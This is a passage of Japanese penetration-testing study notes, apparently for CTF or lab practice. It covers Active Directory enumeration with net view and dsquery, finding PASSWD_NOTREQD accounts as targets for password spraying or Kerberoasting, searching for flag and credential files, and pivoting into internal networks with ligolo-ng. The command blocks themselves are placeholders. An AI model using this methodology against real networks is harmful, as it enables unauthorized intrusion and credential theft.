| net view                                   | コンピュータの一覧取得                                         |
| net view /all /domain[:ドメイン名]              | ドメイン内のすべての共有リソース一覧                                  |
| net view \\コンピュータ名 /ALL                    | 指定したコンピュータの共有リソース一覧                                 |
| net view /domain                           | ドメイン内のPC一覧                                          |

##### Dsquery
- Active Directory オブジェクトを検索するための便利なコマンドラインツール
- このツールで実行するクエリは、BloodHound や PowerView といった他のツールでも再現可能ですが、常にそういったツールを利用できるとは限らない
- Active Directory Domain Services のロールがインストールされているホストには dsquery が存在していることがある
	- dsquery.dll は最新のWindows環境であればデフォルトで`C:\Windows\System32\dsquery.dll`に存在する
- Dsquery DLLについて
	- dsquery を使用するには、ホスト上で昇格権限(管理者権限)を持っているか、SYSTEMコンテキストでコマンドプロンプトやPowerShellを実行できる必要がある

ユーザー検索
{{CODE_BLOCK_201}}

ホストの検索
{{CODE_BLOCK_202}}

ワイルドカードを使った検索
{{CODE_BLOCK_203}}

LDAP検索フィルターと組み合わせて、より詳細で条件を絞った検索を行うことができる
**userAccountControl 属性に PASSWD_NOTREQD(パスワード不要)フラグが設定されたユーザー**を検索するコマンド
{{CODE_BLOCK_204}}
上のコマンドの詳細
- 出力されるuserAccountは、それぞれのフラグの足し算なので、以下を見て、分解すればどのアカウントがどのフラグが立っているかがわかる
userAccountControlのフラグの一覧
- https://learn.microsoft.com/ja-jp/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties#list-of-property-flags

- 発見次第、除外すべきアカウント
	- 「CN=Guest」 : ゲストアカウント。基本的に無効化されてることが多いから、激アツではない
	- 「CN=XXX`$`」: `$`がついているので、コンピュータアカウント。コンピュータアカウントにPASSWD_NOTREQDが付いてるのは普通なので激アツではない。

さらに確認すべきポイント
- dsquery で気になるユーザーが見つかったら、次にそのアカウントが実際にログオン可能な状態かどうかを確認するのが重要
注意点
- net user "氏名" /domain のようにスペースを含むフルネーム(CN)を使って net user を実行すると、エラーになることがある。
- これは net user が sAMAccountName(ログオン名) を必要とするため
そのため、対象ユーザーのログオン名を調べるには、以下のように sAMAccountName を取得する
{{CODE_BLOCK_205}}

得られたログオン名(yolandag)を使って、以下のように net user で詳細情報を確認する
{{CODE_BLOCK_206}}

- こうすることで、アカウントが有効かどうか・グループ所属・ログオン可能かどうかをチェックでき、そこからパスワードスプレーやKerberoastingなど、次の攻撃ステップに進む判断材料になる。


LDAP OIDマッチングルール一覧

|**OID値**|**名前(非公式)**|**意味・用途**|**使用例・特徴**|
|---|---|---|---|
|1.2.840.113556.1.4.803|Bitwise AND 完全一致|**指定したビット値に完全一致する属性のみを検索**|単一のUAC属性にマッチさせたいときに使う(例:PASSWD_NOTREQDが設定されている)|
|1.2.840.113556.1.4.804|Bitwise OR 部分一致|**ビット値のいずれかが一致すれば対象に含める**|複数の属性が混在しているオブジェクトを柔軟に検索できる|
|1.2.840.113556.1.4.1941|DNツリー探索|**オブジェクトの所有関係やグループメンバーシップなどを辿って検索**|ネストされたグループメンバーなどを再帰的に検索するときに便利|
### Linux

---

# その他

## フラグの検索
### Linux

- ファイル名が`user.txt`の場合
{{CODE_BLOCK_207}}

- ファイル名が`root.txt`の場合
{{CODE_BLOCK_208}}

`grep`を使用して特定の文字列を含むファイルを検索
- `user`という文字列を検索(大文字・小文字を無視)
{{CODE_BLOCK_209}}
- `root`という文字列を検索(大文字・小文字を無視)
{{CODE_BLOCK_210}}

クレデンシャルファイルの検索
{{CODE_BLOCK_211}}

{{CODE_BLOCK_212}}
### Windows

Cドライブ全体を検索する場合  
- CMD
{{CODE_BLOCK_213}}

{{CODE_BLOCK_214}}
- PowerShell
クレデンシャルファイルの検索
{{CODE_BLOCK_215}}

## ligolo-ng
- https://docs.ligolo.ng/Quickstart/

### 1. 必要なリソースのダウンロード
{{CODE_BLOCK_216}}

### 2. 攻撃者サーバー での設定
{{CODE_BLOCK_217}}
- device or resource busy というエラーが出た場合は、攻撃者マシンの**別のターミナル**で `sudo ip link delete ligolo0` を実行してから再度試す

仮想NICの作成
{{CODE_BLOCK_218}}
### 3.ターゲット側の設定
#### Linux
ダウンロード
{{CODE_BLOCK_219}}
実行
{{CODE_BLOCK_220}}

#### Windows
{{CODE_BLOCK_221}}

### 4.攻撃者側での設定
- proxy を起動すると、プロンプトが表示されます。Agentが接続してくると、proxyのコンソールに通知があります。
 {{CODE_BLOCK_222}}
- ifconfigは、ターゲットの内部ネットワーク情報の確認のために行う、攻撃者のNICではない。
	- 例えば、eth0 インターフェースに 172.16.1.100/24 と表示されていれば、ターゲットの内部ネットワークは 172.16.1.0/24

別のターミナルで
{{CODE_BLOCK_223}}

### 5. 内部ネットワークの調査
ここから、内部ネットワークの攻撃は、内部ネットワークのIPになる
例えば、攻撃者側でssh入って、ifconfigしたときのipアドレスで、攻撃者側からnmapとかpingができるっていう話
{{CODE_BLOCK_224}}

- Ligolo-ngを使ってる時は、`nmap -sn`だとエラーが起きる
	- `nmap -PE -sn `でエラーを防ぐことができつつ、ICMPエコーリクエストのみで調査できる
{{CODE_BLOCK_225}}


## 内部ファイルの持ち出し
 [[File Transfer]]
## 内部ファイルの暗号化
[[File Encryption]]
## Windowsローカルパスワード攻撃
[[Windows Local Password Attack]]
- パスワードハッシュを取得して、ハッシュをクラックすることによって、パスワードを不正に取得する
## ActiveDirectory
[[Pentest_Technique/Active Directory]]